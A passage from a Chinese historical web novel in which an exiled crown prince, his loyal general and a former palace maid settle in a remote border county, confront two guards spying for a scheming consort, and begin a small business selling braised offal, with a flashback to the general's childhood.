谢威眼睛笑眯眯的上下打量着锦婳:“妹子真是长大了,一口一个小公子的叫着,让人家心里甜得都不知道如何是好,恨不得把离县的一切都倾囊道与你知道!”
第一卷 第29章 眼线
锦婳却不以为然,瞥了两个明显看热闹不嫌事大的人一眼:“那初来乍到,不得多问问,多打听打听吗?你们想什么呢!”
谢威却继续笑着取笑她:“刚刚你那捏着嗓子,一口一个小公子的叫着,明显得很假,可没成想,那张家公子竟也上了你的套。”
锦婳继续铺床,不再看那两个没正事的人,自打流放,里里外外的活这两个大男人就像的甩手掌柜似的,都指着她一个人张罗。
现在终于安定下来了,说起风凉话却开始一套一套的了。
谢威将陆卿尘浮上炕,对陆卿尘说:“主子,就咱家锦婳这套,若是在太子府里时,稍稍的动一点心思,那就是您书房里侍奉左右的大丫鬟了!再努力一点,当半个主子也不是不可能啊!”
陆卿尘却摇摇头:“不会。”
谢威不解:“此话怎说,主子。”
陆卿尘幽幽道:“行了这一路,你对你这妹子还是这般的不了解,她根本不想做主子,她只想当厨子。”
“哈哈哈!”谢威实在没忍住,大笑了出来。
锦婳放下手里的床铺,转头怒视两人:“你们俩有完没完?人家张澈小公子起码是县太爷的儿子啊,我们眼下在人家的地界讨生活,自然要多恭维热络一些。”
“一看你们就是当主子当惯了的,不知我们底层奴婢活得有多艰辛。”
锦婳被这两人打趣得不开心了,收拾完床铺自顾自去小厨房做饭了。
果不其然,厨房里冷锅冷灶的,像是许久都没开过火了。
锦婳去马车上搜罗了一会儿,搜罗出了一个角瓜,几个鸡蛋。
晚上就摊角瓜鸡蛋饼,凑合吃上一顿,还有在老农那里买的西红柿,再甩个鸡蛋做个汤,晚上暖暖和和地睡上一觉,这一路她属实是疲累极了。
锦婳的小厨房和卧室只有一墙之隔,中间连着炕。
刚生火不久,锦婳就听见屋里有动静,像是有人敲门而入。
已经傍晚了,谁还会来呢。
“说吧,你二人受谁指使。”是陆卿尘的声音,冷漠中透着凉意,让听见的人都不禁打个冷颤。
“是……丽妃娘娘。”说话的人是王里。
接着是一阵沉默。
“丽妃究竟何意!你二人是如何出卖的殿下!”是谢威的声音,透露着让人恐惧的狠戾。
锦婳还从未见听谢威说话如此严厉,语气里透着要杀人的寒意。
想来也是,谢威少年将军,自小又追随太子殿下,与太子同拜一师,他绝对绝对不是锦婳平日所见那个任她指使、数落的青年。
“扑通!”是二人跪下的声音!
“小人不敢,小人只是把流放路上殿下的惨状如实报给了丽妃娘娘,并未多言啊!”
王里该是被谢威的厉声吓到了,语气里都带着微微的颤抖。
陆卿尘沉声问道:“此番又为何要投靠吾?吾已被废,定没有丽妃有权势。”
锦婳连呼吸都不敢大声,细细听着。
张洛还算有胆识:“禀殿下,小人们并不想投靠丽妃娘娘,只是,临出京时,丽妃娘娘绑了小人们的父母妻儿,说小人们只需要把殿下每日说了什么,做了什么如实汇报,就放了小人们的父母妻儿。”
“丽妃娘娘说,送殿下到北境就准我二人回京,赏黄金百两,还给小人们升职。”
“可今日,小人们去衙门里送公文,丽妃娘娘身边的李公公也在,却说要我二人继续留在北境监视殿下。”
“若是不从命……。”
谢威厉声问:“不从命怎样?!”
张洛仿佛鼓起很大的勇气,声音带着绝望的颤抖,大声喊出:“若是不从命就杀了我二人的父母妻儿,永世不准我二人回京!”
“小人们实在气不过!故才投靠殿下!”
王里语气里也满是愤怒。
谢威质疑地问:“殿下又凭什么相信你们,毕竟你们曾是丽妃的人。”
谢威还有后半句没说,丽妃是最想致殿下与死地的人。
“咣当!”锦婳听见一声闷响,不知是谁磕了个响头。
“殿下,小人同在衙门当差的同乡给小人来了信,信上说……小人的母亲因受不了牢狱里的潮湿阴冷,已经过世了!”
“小人的母亲是再好不过的人!一辈子吃斋念佛,蚂蚁都没有踩死过一只。”
“小时候母亲为了供小人读书习武,冬天给人家浆洗衣裳,手上长满了冻疮。”
“母亲为了多挣点钱给小人娶妻生子,借着烛光给人家缝补衣裳,熬坏了眼睛!”
“好不容易小人在官府当差,略微挣了银钱,小人还未尽孝,母亲就……母亲就被人害死了!”
“唉!你们先回去吧,让吾再想想。”陆卿尘语气里有一丝伤感,他的母后又何尝不是如此,还没看他长大,还没看他娶妻生子,同样也是被奸人所害。
“是,殿下。”紧接着是关门声,张洛和王里应该是回去了。
“殿下可是信了他们?”谢威谨慎地询问。
锦婳平日所见的谢威爱开她玩笑,总是和申家兄弟一起胡闹,不着调的样子。
其实,细细想来,谢威年纪轻轻就是少年将军,领兵打仗,战无不胜,是陆卿尘最得力的手下,又怎会是不着调的人呢。
陆卿尘半晌才开了口:“说到底,他母亲的死,也是因为我。”
谢威急着说:“这怎么能怪殿下,要怪只能怪丽妃太过心狠手辣,竟对无辜的人下手!”
“暂且让他二人先留下,每次给丽妃去信汇报吾的情况,都由你过目。”
谢威又问:“若是他二人背地里对殿下不中,该如何处置?”
“杀之!”
锦婳一惊,和那张洛和王里也是一起行了一路,虽说没有和申家兄弟那么熟,但总觉得这两名官差一路对他们也是多加照顾,若是哪日他们真的被陆卿尘除掉了……锦婳不敢往下想。
谢威想了想又问:“若是锦婳问起,那两名官差为何留在离县,又该如何说?”
陆卿尘想了片刻,语气淡然:“暂且说是朝廷的安排便是。”
第一卷 第30章 猪下水
“主子这是在护着锦婳?”谢威迪声询问。
陆卿尘不语,护着谈不上,只是不想让那小丫头无端卷进这纷争。
上次夜里突遇狼袭,那小丫头吓得蜷缩在马车上瑟瑟发抖。
那画面他许久不忘,竟有一种想要把她拉进怀里保护的冲动。
锦婳在厨房听着屋里没了动静,便开始轻手轻脚地做起饭来。
陆卿尘方才并未回答谢威的问题,想来也是,他怎么可能护着她。
不过是把她当个外人罢了,能使唤的时候就使唤,重要的事一概不与她知晓。
锦婳摇摇头,不想了,想多了心烦。
锦婳把鸡蛋搅散,角瓜焯水切碎倒在鸡蛋液里,在掺合一些面粉和盐。
搅拌均匀就可以下锅了,煎得两面金黄,角瓜鸡蛋饼就出锅了。
锦婳把角瓜鸡蛋饼切成了几块,厚厚的饼子,冒着热腾腾的气,大锅烙出来的就是香。
再把西红柿切碎,锅里倒油,把西红柿炒烂,添水,一气呵成,临出锅时甩个鸡蛋,再撒上些葱花,酸酸甜甜的西红柿鸡蛋汤便做好了。
锦婳把热气腾腾的饭菜端到炕上的小桌上,这小小的地桌是北境的特色之一,冬天太冷,人们都是在炕上吃的。
吃食摆好了,锦婳也二话不说上了炕。
炕真暖和啊,怪不得张家小公子说,做了晚饭,烧了炕,人们一般就不下炕了。
三人围着地桌吃了一顿饱饭,皆未多言,锦婳早早熄了烛光,三人躺在一张炕上。
谢威水边上,陆卿尘睡中间,和锦婳之间隔着一个小地桌,也算是男女大防了。
陆卿尘心里想,如今的条件太过简陋,但也只能凑合着住,等有了银子,盖几间大房,给锦婳单独一个房间。
三人皆是一夜好眠。
第二日一早,锦婳熬了粥,煮了鸡蛋,用黄瓜条拌了个小咸菜。
三人围坐在小炕桌上,吃得暖暖和和。
锦婳先开了口:“今日我想到集市上看看有什么小生意可以做。”
“眼看就要入冬了,昨日听张家小公子说,入冬离县会很冷,我们还没有棉衣,得趁着现在赚些钱,买些过冬的衣裳和吃食。”
谢威嘴里嚼着鸡蛋,有些不懂了:“这还没到深秋,就要囤冬菜了?”
锦婳放下手里的碗筷,给陆卿尘和谢威指:“看那家,早上我出去溜达了一圈,那家的大娘起码囤了五百斤的大白菜,三百斤的大萝卜!”
“还有那家!那家的伯伯腌制的腊肉挂满了窗沿!”
“还有那家的姐姐,苹果囤了满满五筐!”
陆卿尘和谢威顺着锦婳的手指透过窗子看过去,的确,离县的百姓都在囤过冬的食物。
家家户户都热热闹闹,忙忙碌碌的。
这许是北境特有的习惯吧,冬日里颗粒无收,不囤些吃的,到了冬天只有饿死冻死的份了。
锦婳接着说:“你二人自小生活在宫里,养尊处优,自然不知道冬日里每家每户都要存粮的。”
“我之前在小厨房做宫女时,宫里御膳房在冬日里也要囤上万斤的菜、蛋、肉,才够宫里的各位主子、娘娘们食用。”
陆卿尘听锦婳说的有理,他的确是对百姓民生不了解,便对锦婳说:“那你今日便去集市上转转,不过我们初来乍到,对离县的民风还不了解,你若去,就带上申家兄弟一道去。”
锦婳爽快应下,收拾完碗筷便去找申家兄弟了。
申虎和申豹正是无聊,躺在破败的通铺上望天,兄弟俩还穿着流放时的单衣,看着很是可怜。
锦婳带了几个早上没吃完的煮鸡蛋给兄弟俩,说了要一起去市集的事,申家兄弟一口应下。
离县离得最近的市集也要两个时辰的脚程,三人早早就出发了。
到了市集,锦婳转了转,兜里的铜板不多,上回陆卿尘让谢威给了一两,在过路的老农那里买了新鲜的瓜果蔬菜花了一百文,还剩九百文。
这个集市不算大,不能和京城的相比,就算与之前路过的北境的中心徐州也是无法比的。
可锦婳心想,这两天观察下来,离县的百姓们衣食无忧,家里的牲口、土地也是不缺的。
百姓们手里是有银钱的,若是能做上一两样美味的吃食,不怕赚不到钱。
三人溜达了一圈,最后锦婳在一处卖猪肉的摊子前停了下来。
申虎拉着锦婳的衣袖,劝道:“妹子,你没看见吗,这个离县几乎家家养猪,还会缺猪肉吗?”
申豹也跟着说:“而且猪肉那么贵,咱们也没有那么大的本钱啊!”
锦婳却笑笑说:“二位大哥别急,我不是要买猪肉,我要买的是猪下水!”
申虎惊讶了:“猪下水?那东西又腥又臭,白给都没人要!”
“是啊,我吃过一次,那味道我现在想起来都要吐了!”申豹的皱眉苦着脸说。
锦婳又道:“等二位大哥吃过我做的,就不会这么说了。”
见锦婳胸有成竹,申家兄弟俩也就不再劝了,说实话,锦婳这丫头的确做什么都好吃,但这猪下水的味道的确一言难尽,这丫头能做出好吃的味道?兄弟俩有些怀疑。
锦婳凑到摊子前,眉眼弯弯地问:“大哥,你这猪下水怎么卖?”
那买猪肉的中年男子见有人主动买猪下水,也是心里乐开了花。
平日里,这猪下水都是随着卖出的猪肉往外送的,即便是送,顾客都不爱要,今日还有人主动买?真是怪了!
“五十文!这一堆全都给你了!”
“三十文怎么样?以后你这里所有的猪下水我全包了!”
那男子眼睛一转:“三十文就三十文!妹子爽快,我也不是拖拉的人!我这里每日都有猪下水,那就每日三十文卖给你!”
锦婳付了铜板,申虎拎着一堆猪下水,三人继续逛。
锦婳又在卖鸭货的摊子前,买了一堆的鸭头、鸭脖子、鸭脚。
申家兄弟更看不懂了,锦婳这丫头怎么专买别人不要的东西,这些东西能赚钱吗?!
第一卷 第31章 卤货
锦婳又去调料摊子买了八角、胡椒、黄糖、桂皮、生姜等一袋子调料。
回去的路上,申虎实在忍不住了,问道:“锦婳妹子,这些东西真能有人买吗,要是卖不出去,就连手里的这点铜板都赔进去了,你们主仆三人只有喝西北风的份了。”
锦婳却神色有些落寞,淡淡地说:“小时候,家里穷,爹爹又好高骛远、不思进取,人家过年吃猪肉,炖大骨头,我和弟弟只有闻味儿的份。”
“娘亲在世时,便去捡人家不要的猪下水,回来做给我们姐弟吃,那是我吃过最好吃的东西。”
“我还记得那个味道,虽然做得也许不如娘亲那么好吃,但是我相信一定会有人来买的。”
申虎和申豹听着,觉得这丫头原来幼时竟是这般的可怜。
“你还有个弟弟?”申豹憨憨地问。
锦婳神色有些忧伤:“嗯,只是如今下落不明。宫里放出去的同乡回家来信说,我家里没人了,打听了村里人也没人知道弟弟在哪。”
“你家里还有谁,托人找找呢。”申豹这人热心实在得很。
“我家里只有弟弟,爹爹,继母,和一个继姐。”
“你既然和弟弟感情这般深厚,又为何要入宫为婢呢?姐弟俩在一起相依为命,要饭也是好的!”申虎想到自己的妹妹受人欺辱,幸好有哥哥们在身边护着,锦婳的弟弟没有姐姐庇护,如今又下落不明,实在可怜得很。
锦婳叹了口气:“我有何尝不想和弟弟生在一起,死在一起。可弟弟三岁启蒙,村子里的夫子曾说弟弟天赋过人,将来必成大器。”
“继母又说,我入宫换来的银钱可以供弟弟读书、科考,叫我不要坏了弟弟的前程。”
“爹爹说,弟弟是我们家唯一的男丁,若是真的一生碌碌无为,是家门不幸。”
“我那时年纪小,便信了爹爹和继母的话,谁知我刚入宫没两年,就没了弟弟的下落,才知道上了爹爹和继母的当。”
“可一入宫门深似海,想出来哪有那么容易,能保命到出宫的年纪已经是天大的幸运了,好不容易明年十八了,要被放出宫了,我本来打算天南海北也要寻到弟弟,可偏偏又遇上这档子事,又跟着流放到了这里。”
申虎申豹听了锦婳的故事,觉得这丫头过得也真是曲折,一路上也跟着唉声叹气。
“你弟弟叫什么名字,我们兄弟若是在哪做工,也可以帮忙打听着些。”申豹热心肠地说。
锦婳眉眼弯弯地笑了:“多谢两位大哥了,我弟弟叫锦书,读书的书。”
“即便是寻不到,有两位大哥的这句话,小妹也觉得暖心了!”
申虎爽气地拍了拍胸脯:“锦婳妹子说这话可就见外了,我们一路作伴流放到北境,没少受你恩惠,如今我们兄弟就把你当亲妹子一样!”
“那晚上,两位大哥就到家里尝尝小妹做的猪下水和鸭货怎么样!”锦婳热情地邀请申家两兄弟。
申虎不好意思地憨憨傻笑:“那敢情好,晚饭时我们兄弟俩过去!”
下午,锦婳进了家门就开始忙活上了,猪大肠是最难清洗的,要用好几盆清水反复清洗才没有味道。
还有猪肝、猪肺、猪肚,鸭脖子、鸭头、鸭肠子,这些下货清洗好后都一起下了锅。
放上锦婳在调料店配好的调料,在大锅里煮上两个时辰,不一会儿,满院子飘的都是卤货的香气。
锦婳把卤好的下货捞出来,还剩一盆猪血没有处理,放在大锅里蒸上一刻钟的功夫,猪血就凝固了。
锦婳把凝固的猪血切成巴掌大小,还有集市上买来的豆腐也切大块,马车里剩的藕去皮切片,从老农那里买的土豆也切片,还有老农送的豆角,早上剩的煮鸡蛋,都一起放在刚刚卤下货的汤汁里,煮上半个时辰。
素菜卤煮也出锅了,满满的两大盆!
这时院子里传来声音:“锦婳丫头在家吗?”
锦婳放下手里的活计,从小厨房匆匆出来,往院子里望了望,哦,是隔壁林婶子。
锦婳笑眯眯地说:“林婶子,你找我有事?”
林婶子不好意思地往锦婳的小厨房望了望:“我家那口子在炕上就闻到了你们家院子里的飘出来的香味儿,非打发我来问问做的这是什么啊?”
锦婳笑着将林嫂子领进厨房,指给林嫂子看:“这便是我卤的下货和蔬菜。”
“我想着去市集上做点卤货的小生意,挣些银钱好买过冬的衣裳和粮食。”
林嫂子是个泼辣的,看小丫头这么不容易,炕上那俩男的就像废人一样,还要靠个毛还没长全的小丫头养着。
便朝屋里的陆卿尘和谢威翻了个白眼,又对着锦婳道:“你这下货和素菜都怎么卖的?我想给我家那口子买点下酒。”
锦婳没成想刚刚卤好,就来了生意,便热情地招呼林嫂子尝一尝。
锦婳先切了块猪大肠给林嫂子吃:“林嫂子,这大肠三个铜板一段,你尝尝,卤的没有腥气和臭味的。”
“锦婳又把猪肝、猪肚、猪肺、都各切了一块给林嫂子尝。”
林嫂子尝过后,眼睛里都闪着光:“妹子,没成想,这没人要的下货,你竟做得这么好吃!”
“那便给我来一段猪大肠,再来一块猪肝,一块猪肚。”
锦婳拿出大碗给林嫂子装好,还送了林嫂子一块猪血。
锦婳的第一笔生意,赚了十文钱。
锦婳笑眯眯地送林嫂子出了门,招呼着林嫂子:“林嫂子,吃好再来呀!”
林嫂子得了锦婳一大块猪血的好处,自然是高兴的,满口答应着。
进了屋,锦婳又开始忙活着闷糙米饭。
今天晚上申家兄弟要来吃饭,只有下货也不成,还是得掂对着炒两个菜。
马车里的猪肉还剩下一块,切成片炒了藕片。
再用酱焖了个茄子,切了一盘下货,一盘素菜。
锦婳忙活的功夫,谢威小说问陆卿尘:“主子,咱们私库里的钱足够养活一个军队了,为何不拿出来用,非要看着锦婳在这瞎折腾。”
“您没看见,刚才那农妇看我们俩用的是什么眼神,好像这个家都靠锦婳在撑着。”
第一卷 第32章 谢威
陆卿尘笑笑,这一路的确都是靠那小丫头支撑着,虽说是流放,但也叫他们吃饱穿暖,活着走了过来。
“如今我们刚到离县,这里有没有丽妃的人还不明,青龙和白首也还没联系上,说不定日后还真要靠锦婳来养。”
谢威心里凉了半截,倒不是自己吃不了苦,虽说自己也是世家大族的公子,可打小也是受着委屈苦过来的,自己苦倒是没什么,可主子怎么办?主子可是没受过这等罪的啊。
趁着锦婳在小厨房忙活的热火朝天,没关注他们主仆,陆卿尘又问:“宫里近日如何,可有消息传出?”
谢威拱手恭敬答:“禀殿下,探子回报,陛下暂且并无立五皇子为太子之意,丽妃娘娘那边却安静得很,很是诡异。”
陆卿尘双眼一眯,露出厉色。
按照丽妃的性情,他被贬发配出宫后,该是以最快的速度哄父皇立五弟为太子,现下却迟迟没有响动,还那般的安静……”
陆卿尘沉声道:“再探!”
“是!殿下!”谢威领命,带着青年将领特有的的英气。
这一路,谢威跟着陆卿尘翻山越岭,食不果腹,看着如今自己这一身粗布麻衣,他差点就要忘了,他也是个率领过的千军万马的将军了!
陆卿尘被贬为庶民,还打了板子那日,他本在皇城旁的街市巡视。
京城还是那副繁荣昌盛,百姓安居乐业的景象。
例行完成了公事,谢威骑上马,眼看就要进皇宫时,父亲谢侍郎却只身一人在皇宫大门口等待。
谢威眉头微皱,算算时间,父亲早朝已经下朝了两个时辰,那便是站在这里等了他两个时辰。
谢威打马上前,居高临下,可并未下马。
还记得小时候,他看父亲只有一年为数不多的几次家宴时,才能远远地怯怯地偷偷看上他一眼。
那时他和小娘只能坐在最末尾的席位的下座上,同席面的都是府里的掌柜的、外头庄子里的管事的。
谢威曾听过底下丫鬟窃窃私语,夫人肯让他们母子上桌,已经是天大的恩典了。
谢威只能远远地看着嫡兄、嫡姐们围绕在父亲身侧,眉眼眯笑,敬酒祝词。
小小的谢威不懂这是为何,自己究竟做错了什么,不得父亲喜欢。
每次宴席散了,他都同小娘回到那个又小又阴冷的小屋里,抽泣着问小娘:“父亲为何不喜欢我!”
小娘也只是抱着他,默默哭泣。
后来谢威还是从底下下人的嘴里听见的闲话,原来,他是父亲醉酒,强迫了小娘的产物,是父亲的污点。
小娘本是府里的下等丫鬟,容貌也并不出众,若不是父亲那次醉酒,恐怕最后也就落得配给哪个家丁为妇。
夫人断定是小娘勾引的父亲,当即叫了人伢子来,要把小娘卖给青楼,谁知小娘那时便已经有了身孕,父亲这才说了情,万一怀的是个男丁,小娘这才被抬了妾。
十月怀胎,小娘产下男婴,父亲赐名,谢威。
这从那日后,夫人也恨小娘入骨。
虽抬了小娘,可他们母子过得比下人还不如,就连吃食都是主子们吃剩下才端来给他们母子吃的。
更别提衣服了,穿的都是小娘缝缝又补补的。
只有赶上家宴,夫人才会差人送来一套像样的衣服给他们母子穿,免得被父亲看出她苛待了他们母子。
谢威六岁那年,小娘感染风寒持续了月余,没有郎中前来为娘亲医治。
谢威去夫人院子里跪求,求夫人为小娘找个郎中医治,那日他磕破了头,还被小厮推搡出了院子。
后来小娘咳血,死于一个雪夜。
谢威七岁那年,宫里来人说,皇后娘娘要在世家大族里为太子挑选身边伺候的奴才。
父亲和夫人还有嫡兄们听说皇后娘娘为太子挑选的是奴才,并非伴读,都犯了难。
嫡兄是父亲和夫人掌中的明珠一般,是众星捧月一般长大的,父亲对他期待颇深。
三岁启蒙,七岁熟读四书五经,想来是盼着他将来封侯拜相,光耀门楣的。
父亲无论如何也不肯让嫡兄入宫为太子奴才,可皇命难违,终于,父亲和夫人想起了谢威。
谢侍郎府并非只有嫡兄一个儿子,皇后娘娘的旨意也并未指明,入宫为奴的是谢侍郎的那个儿子。
谢威入宫那日,一早便被父亲差人叫到了家祠。
谢威清楚地记得,父亲当时对他如何的疾言厉色,训诫他入宫不要丢了侍郎府的脸面。
多年后的谢威闲暇时回忆,若是父亲那日给他一丝温情,一丝身为父亲对儿子的不舍,那日在宫门口,他会叫他一声父亲。
入宫那日,只身一人,没有一个随身包袱。
早就听下人们说,皇宫是吃人的地方,说错话、做错事都会被处死,严重的还会砍头,五马分尸。
小谢威初入皇宫,是日日夜夜战战兢兢的。
入宫第二日,皇后娘娘召见。
谢威换上了为他连夜量身定制的小小的侍卫衣服,由老太监带着,入皇后的凤坤宫,拜见皇后娘娘。
想来可笑,这身侍卫衣服,竟是他年幼的七年中,穿过的最好,最合身的衣裳。
初入凤坤宫,大殿金碧辉煌、神圣威严,小谢威跪地颤抖,不敢抬头。
过了一会儿,大殿之上,响起温柔的女人的声音:“碧痕,快去把那孩子扶起来,领进来吃些糕点。”
那声音如同天籁,柔柔的,如同和煦的春风,吹进来小谢威早已冰封的心里。
谢威被一双温暖的手牵了起来,日后,谢威便唤了碧痕为姑姑。
那是日是他第一次见到皇后娘娘,温柔的眉眼,美得如观音菩萨下凡,看着小谢威笑得温柔。
原来皇后娘娘并不似下人们说的那样,是吃人的妖怪啊!
皇后娘娘赐了坐,怕他冷还吩咐碧痕在座椅上放了几层厚厚的垫子,在他怀里塞了暖手炉。
皇后娘娘的凤坤宫可真暖啊,那是小谢威此生待过的最暖的地方。
第一卷 第33章 恩情
“小谢威,日后你可愿意留在风坤宫内侍奉太子殿下?”皇后娘娘温柔的眉眼,含笑地看着小谢威。
不是命令,而是询问,似乎还带着点……哄?
还从没有人这样对谢威说过话,小娘抑郁成疾,也很少理会他。
小谢威愣了愣。
碧痕姑姑也笑着提醒他:“谢威小公子,太子殿下便是皇后娘娘的儿子,也是我们的主子呢。”
说完还往他手里塞了一块点心,谢威现在还记得,那点心是梅花模样的,咬上一口,软糯香甜,里边夹的是糯糯的枣泥馅,真甜啊!
谢威从没吃过这么香甜的点心,他对着皇后娘娘笑了,那是谢威极少数的一次真心的笑。
“愿意的!谢威愿意侍奉太子殿下!”那时的小谢威便下了决定,这辈子他会誓死守护太子殿下,守护住皇后娘娘的儿子。
那日,谢威谢过了皇后娘娘,便回了自己的小房间,怀里满满的都是碧痕姑姑塞的点心食盒。
很快,有老太监敲门,一群太监端着皇后娘娘的赏赐进了小谢威的房间。
有华丽的衣衫、文房四宝、上等的狼毫、还有谢威如今身上佩戴的这把镶嵌着红宝石的宝剑。
第二日,太子殿下中午放了学堂,碧痕姑姑差人来传小谢威去拜见太子殿下。
那是小谢威与小陆卿尘的第一次见面,小陆卿尘立在皇后身侧,面色和善,面对大殿下卑微而跪的小谢威并未有一丝居高临下的藐视。
“谢威拜见太子殿下。”小谢威跪地叩头。
大殿之上没有声音,小谢威不敢动,更不敢抬头。
不一会儿,小谢威感觉有脚步靠近,微微抬了眼皮,一双龙纹鞋停在他的面前。
“你便是谢侍郎家的小公子谢威?”那声音清脆响亮,带着和善。
小谢威将头低得更低了些:“回殿下,小人正是谢威。”
“快起身吧,跪在地上做什么,仔细凉了膝盖。”
小谢威不可置信地抬起头,仰望太子殿下,那日阳光照入风坤宫的大殿,小陆卿尘的周身闪着光芒。
小陆卿尘朝他伸出了手,小谢威战战兢兢地伸出冰冷的小手,去抓住那只手时,那只手的主人突然一个发力,将他从地上拉了起来。
小陆卿尘比小谢威小一岁,却比他高了些,也壮了些。
小陆卿尘打量着小谢威:“你怎么这么瘦弱,定是不好好吃饭,吾让碧痕姑姑日后多往你房里送些好吃的。”
陆卿尘不语了,好像在思索些什么。
片刻后,陆卿尘开了口:“你可愿意与吾一起学武?师傅说,练武最是强身健体!”
谢威受宠若惊,拱手答:“小人愚钝,怕会扰了太子殿下。”
小陆卿尘却笑得灿烂:“一开始练武时,师傅也骂吾愚钝,不过练了三年,吾如今已经能打败两位师兄了!”
后来,小谢威才知道,陆卿尘让他拜的师傅便是大乾名将赵猛大将军,小陆卿尘口中的二位师兄便是赵猛大将军的两位公子,赵青龙、赵白首。
小谢威在皇宫里伴着小陆卿尘习武,读书,不过两年光景。
上秋时,皇后娘娘偶感风寒,太医来把了脉、开了药,皇后娘娘却总也不见好。
陛下命当时还是丽嫔的丽妃娘娘前来侍疾,五日后,皇后娘娘仙逝。
自那日起,陆卿尘便不再是谢威认识的那个明媚少年,他将自己封闭起来,面上也再不带笑,眼里也不再有光。
从那日起,陆卿尘与谢威的生命里便只剩下一件事,查出皇后娘娘真正的死因!
谢威思绪飘回,居高临下,语气冰冷:“谢侍郎大人有何贵干,若没事不要挡了末将的路,末将还要回宫复命!”
谢逊捋了捋胡子,这儿子他自小便从未亲近过,没想到如今却成了谢家最出息的人。
太子被废,谢威若是背弃了他,投入五皇子麾下,再寻明主,便依旧是前途无量的少将将领!
谢逊并未因谢威的冷言冷语退后,而是反而上前了一步:“你可知,今日早朝,太子冲撞了陛下,已经被废,如今只是个庶人,还被打了板子,扔进了冷宫。”
“你若是个聪明的,便去投靠五皇子和丽妃娘娘,日后荣华富贵……”
还没等谢逊说完,谢威扬鞭打马冲进了宫门!
这一天终是来了!
谢威看见陆卿尘时,背后满是血迹,人也奄奄一息。
谢威声音颤抖了:“殿下……你……”
陆卿尘还保持着神志,在谢威耳边说:“吾没事,赵将军命大师兄偷偷给吾塞了金刚丸,吾死不了……”
谢威一滴泪落在陆卿尘满是血迹的背部,烫得陆卿尘拳头紧攥,身子止不住地颤抖。
那是谢威极少的一次落泪,小娘死时一次,皇后娘娘仙逝那日一次,陆卿尘被打一次。
他对不起皇后娘娘的恩情,他没能护住她的儿子!
他恨自己无能,恨自己战功太少,恨自己的官职升得太慢,恨自己在朝中不能拨弄风云!
他甚至卑微到不能为他在朝中说一句,让他单枪匹马,孤勇独战。
谢威隐忍攥拳,流放这一路,刀山血海他陪他走!悬崖峭壁他背他爬!
这世间任谁都能背弃陆卿尘,唯他谢威不能!
不过,天无绝人之路,上天总是怜悯众人,不忍他太苦,有锦婳那丫头陪着照顾着他,让他们主仆的路不止于走得太难。
正当谢威思绪飘忽时,锦婳风风火火地推门而入,面色不悦地瞥了他们主仆一眼:“我在厨房都忙冒烟了!也不见你们主仆来帮忙端端菜,明明都能拄拐走动了,偏要躺在炕上装病人!”
谢威厉声:“锦婳!别乱说话!主子岂是能随意编排的!”
锦婳铺了炕桌,放下两盘子菜,瞪了这对主仆一眼,又风风火火地推门出去了。
谢威看向陆卿尘,他依旧靠在炕上看着手里那本翻烂的书。
谢威解释:“主子别气恼,锦婳这丫头说话没个轻重,可人不坏。”
陆卿尘翻了一页书,面上并无波澜,淡淡地说:“吾若是和她生气,这一路早就被气死了,她何曾把吾当成过主子。”
第一卷 第34章 摆摊
锦婳进门放下最后两盘菜,对陆卿尘和谢威说:“今日申家两位哥哥陪着我去市集,帮我大包小包拿了不少东西,我答应晚上给他们做顿饭吃了。”
陆卿尘看书眼皮都没抬:“吾说过,这些小事你自己拿主意便可。”
谢威听说申家两兄弟晚上过来吃饭,心里是高兴的,这一路,几人患难与共,谢威早就把申家兄弟当成兄弟了。
不一会,申家兄弟进了门:“锦婳妹子,我老早就闻见你院子里的香味儿了!”
申虎爽快地说!
申豹也憨憨地说:“我们哥俩今日上山打猎,打到了两只野兔子,明日给你加菜!”
那两只野兔子都是被树枝刺穿而死,毛上还滴着鲜血,锦婳不敢接,胆怯地看看谢威,谢威笑着伸手接过,取笑锦婳:“天不怕地不怕的锦婳,竟然怕两只死兔子!”
锦婳躲到炕上,不理会谢威,几人上了炕,围着炕桌,吃得热闹。
这顿晚饭因为有申家兄弟的加入,吃得很热闹,陆卿尘面上也有了一丝笑意。
申虎夹了口猪大肠吃:“锦婳妹子,你这手艺绝了!这下货若是明日拿到市集上售卖,一定能赚钱啊!”
申豹也是馋得不行,夹起一块猪肝就塞进了嘴里:“好吃!好吃!比俺娘做的饭还好吃呢!”
锦婳看兄弟二人吃得香,笑得眉毛弯弯:“真的吗?”
申虎一边往嘴里填着下货,一边猛点头:“你这东西若是明日拿到市集上卖,打算卖多少钱?”
锦婳粗略算了算:“这些下货和素菜总共不值五十文,可调料钱确贵,一百文的调料总共也就能做三次,去掉人工成本,下货怎么也得卖五十文一斤,素菜就二十文一斤!”
申豹吃得满嘴流油,嘴里嚼着猪大肠含含糊糊地说:“贵了!五十文能买半斤上好的猪肉了!”
锦婳却不以为然:“申家二哥,帐不能那么算!若是大酒楼里,恐怕能卖到一百文还不止呢!”
申豹却说:“可你那是集市,这又是离县,百姓们能有钱买吗?”
陆卿尘和谢威自然不懂得做小生意的事,便一直吃着饭,听着几人闲聊。
听到这,谢威忍不住开了口:“我这几日观察下来,离县的百姓家家养牲口,地窖里都是存粮,不见得就没钱买。”
“若我说,明日就先卖五十文看看,若是不行,再往下降。”
陆卿尘也开了口:“那就先试试。”
锦婳见大家都支持她,开心的眉眼都是笑意。
她把素菜往陆卿尘面前挪了挪,她知道陆卿尘对这些猪下货一定是难以下咽的。
酒足饭饱,申家兄弟要回去了。
锦婳包了些吃剩的饭菜,给兄弟二人带着。
还不忘问:“明日去市集卖下货,二位哥哥去吗?”
申虎接过饭菜,挠挠头,不好意思地说:“明日我兄弟俩要去山上的林子里做工了,就不去了。”
“山上的林子?什么活?”锦婳问。
“帮着砍树,一天十个铜板,管饭。”申豹答。
锦婳不解:“砍树做什么?”
“做工防,离县是北境的边境,百姓常年受蛮夷骚扰,朝廷又不管,离县林子又最多,县官大人下令砍了林子做工防,就……相当于城墙吧!”
陆卿尘听了眉头微皱,他替父皇批阅奏折时,北境的官员可无人上奏此事,奏折上写的都是百姓富足,安居乐业的景象。
该死!
若是没有发配来北境,又恰好没有停留在繁华的徐州,而是来了北境最偏僻的离县,这些事他是永远不会知道的。
底层的官员竟是如此难做,这么大的事朝廷不管,只做工防恐怕不行。
陆卿尘记得,朝廷负责边境工事防御的是大皇子,朝廷每年用于边境防御的银子拨得并不少,莫不是大皇子与底下官员串通一气,把银子给贪下了?
申家兄弟乐呵地拿着吃喝回去了,锦婳去小厨房里收拾碗筷,谢威见四下无人,低声问道:“殿下,可是怀疑了大皇子?”
陆卿尘眼睛一眯,露出疑色。
谢威又道:“那大皇子在陛下面前一副兄友弟恭的模样,背地里没少陷害现在,在陛下面前说殿下的不是,他常以皇长子自居,觊觎殿下的太子之位不是一天两天了。”
